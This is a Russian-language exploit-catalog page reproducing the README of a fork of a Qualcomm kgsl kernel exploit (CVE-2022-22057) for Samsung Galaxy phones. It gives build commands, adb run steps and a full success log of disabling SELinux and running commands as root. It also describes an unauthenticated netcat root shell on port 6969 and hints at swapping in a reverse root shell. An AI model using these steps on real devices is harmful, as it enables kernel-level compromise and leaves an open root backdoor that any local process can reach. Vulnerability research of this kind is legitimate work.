Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22057_SM-F926U — Эксплойт драйвера kgsl от Qualcomm (CVE-2022-22057) для устройств Samsung Galaxy, обеспечивающий произвольное чтение/запись памяти ядра, обход SELinux и временный доступ root через состояние гонки. | Kitploit
Инструменты/GitHubGitHub/diabl0w/cve-2022-22057_sm-f926u
Безопасность AndroidПовышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияМобильная безопасностьЭксплуатация Бинарных Файлов
GitHubdiabl0w/cve-2022-22057_sm-f926u

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-22057_SM-F926U

Эксплойт драйвера kgsl от Qualcomm (CVE-2022-22057) для устройств Samsung Galaxy, обеспечивающий произвольное чтение/запись памяти ядра, обход SELinux и временный доступ root через состояние гонки.

Репозиторий
10123 лет назадЕщё не проверено

Форк

Моя адаптация для SM-F926U из оригинального эксплойта здесь
Огромное спасибо m-y-mo за обнаружение эксплойта и его невероятное терпение ко всем моим вопросам по портированию на SM-F926U и приведению его в рабочее состояние

Я добавил демон запуска (libtimeline.so) на основе кода из Shizuku

Добавил грязный трюк, чтобы временное рут-решение было стабильным (см. ниже)

Отказ от ответственности: Я не несу ответственности за уничтоженные устройства, потерянные данные, украденные данные, безопасность устройства
Отказ от ответственности 2: Я не разработчик, скорее профессиональный экспериментатор. Я могу попытаться помочь вам, если у вас возникнут проблемы, но я могу больше никогда не заглядывать в эту тему, действуйте на свой страх и риск

Требования:

  • Версия прошивки не ниже или близкая к F926UXXS1BUL6 из-за специфических смещений kallsym (протестировано только F926USQS1BUL6)

Инструкции:

  • Сначала прочитайте все инструкции, отказ от ответственности выше и предостережения ниже
  • Скомпилируйте libtimeline.so (с помощью ndk-build) и timeline (с помощью make)
  • Скопируйте оба в /data/local/tmp
  • Для отладки: вы можете запустить /data/local/tmp/timeline напрямую, так как вы сможете увидеть, работает ли эксплойт или завис (см. предостережения ниже)
  • Для продакшена: запустите /data/local/tmp/libtimeline.so
  • Предупреждение: Ваше устройство может вызвать панику ядра и перезагрузиться. Если это произойдет, дождитесь загрузки, разблокируйте устройство, дайте устройству несколько минут, чтобы «остыть» после загрузки, и попробуйте снова. Теоретически, худшее, что может случиться — вы потеряете любые данные, оставшиеся в памяти. Поэтому обязательно сохраните все важные данные перед запуском эксплойта.
  • После завершения эксплойта, когда процесс запуска перейдет в свой цикл (см. предостережения ниже, зачем мы это делаем):
    • Подключитесь к рутовой оболочке, введя netcat 127.0.0.1 6969 в сессии adb
    • Если подключение удалось, вы сможете ввести id, и он покажет ваши рутовые учетные данные
    • Вы также можете отправлять команды через: echo 'YOUR COMMAND' | netcat 127.0.0.1 6969

Дополнительные предостережения:

  • В настоящее время нет реализации, показывающей, что эксплойт выполнен успешно. С другой стороны, вы можете запустить бинарник timeline напрямую (/data/local/tmp/timeline), и он покажет, удался ли эксплойт, но вскоре после завершения сессии adb устройство вылетит, поэтому мы запускаем из libtimeline.so
  • Даже при запуске из libtimeline.so, если Android убьет процесс timeline в фоне, это также вызовет перезагрузку телефона. Мой телефон обычно работает от 8 часов до нескольких дней, прежде чем процесс будет убит.
  • libtimeline.so нагружает процессор на 100%: вы заметите в top, что timeline использует около 100% процессора. Я не уверен, является ли это легитимным или нет. На самом деле он просто находится в состоянии while(1), чтобы предотвратить его закрытие и крах устройства, поэтому я не нашел, что вызывает высокую загрузку процессора или это ложное срабатывание исправлено
  • Это временное рут-решение, означающее: нет magisk, нет менеджера su, и defex все еще включен
  • ПРЕДУПРЕЖДЕНИЕ: ** Этот метод получения рута очень небезопасен **
    • Он оставляет рутовую оболочку, работающую на порту 6969 через netcat, и любой сервис, который отправляет команду на этот порт, сможет выполнять команды с рутовыми привилегиями

Оригинал

Эксплойт для Qualcomm CVE-2022-22057

Описание можно найти здесь. Это ошибка в драйвере Qualcomm kgsl, которую я сообщил в ноябре 2021 года. Ошибка может быть использована для получения произвольного чтения и записи памяти ядра из домена ненадежных приложений, что затем используется для отключения SELinux и получения рута.

Эксплойт протестирован на Samsung Galaxy Z Flip 3 (европейская версия SM-F711B) с версией прошивки F711BXXS2BUL6, Baseband F711BXXU2BUL4 и версией ядра 5.4.86-qgki-23063627-abF711BXXS2BUL6 (регион EUX). Смещения в эксплойте относятся к этой версии прошивки. Помимо обычных смещений в образе ядра, различные адреса пулов памяти ion в ion_utils.c также зависят от прошивки. Для справки, я использовал следующую команду для компиляции с помощью clang в ndk-21:

root@kitploit:~
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline

Эксплойт достаточно надежен (~70% на протестированном устройстве), хотя ему нужно подождать несколько минут после запуска перед выполнением, так как в первые минуты после загрузки происходит слишком много сломанных/неудачных вызовов binder. (Не совсем уверен, проблема ли это Qualcomm или Samsung).

Для тестирования скомпилируйте файл кросс-компиляцией, а затем выполните с помощью adb:

root@kitploit:~
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline

Если успешно, он отключит SELinux и выполнит команду id от рута, записав результат в файл /data/local/tmp/id.txt:

root@kitploit:~
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
 wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished

После вывода wait complete -1 следует длительная пауза, которая должна быть менее минуты, это нормально. Иногда также может потребоваться некоторое время для постановки работы в очередь (после вывода queuing work, waiting to aquire spin lock может пройти пара минут, просто нужно набраться терпения, хотя это нечасто). Эксплойт обычно завершается за пару минут.

Файл /data/local/tmp/id.txt должен подтвердить, что команда была выполнена от рута:

root@kitploit:~
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

Другую команду можно указать, изменив переменную cmd в setup_sub_info в work_queue_utils.c. (Например, для получения обратной рутовой оболочки).

Скачать инструмент